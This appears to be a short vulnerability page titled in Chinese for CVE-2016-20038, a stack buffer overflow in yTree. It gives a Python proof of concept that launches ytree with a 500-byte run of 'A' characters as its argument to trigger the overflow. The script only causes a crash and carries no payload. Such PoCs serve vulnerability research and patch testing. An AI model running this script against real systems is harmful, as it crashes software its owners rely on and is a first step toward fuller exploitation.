CVE-2016-20038 yTree栈缓冲区溢出漏洞

import subprocess import sys # PoC for CVE-2016-20038 (Stack-based Buffer Overflow) # This script attempts to trigger the overflow by passing a long argument. # Offset might need adjustment based on specific version and environment buffer_size = 500 payload = b"A" * buffer_size try: print("[*] Triggering buffer overflow in yTree...") # Execute ytree with the malicious payload subprocess.run(["ytree", payload], check=False) except FileNotFoundError: print("[!] 'ytree' executable not found. Please ensure it is in your PATH.") except Exception as e: print(f"[!] An error occurred: {e}")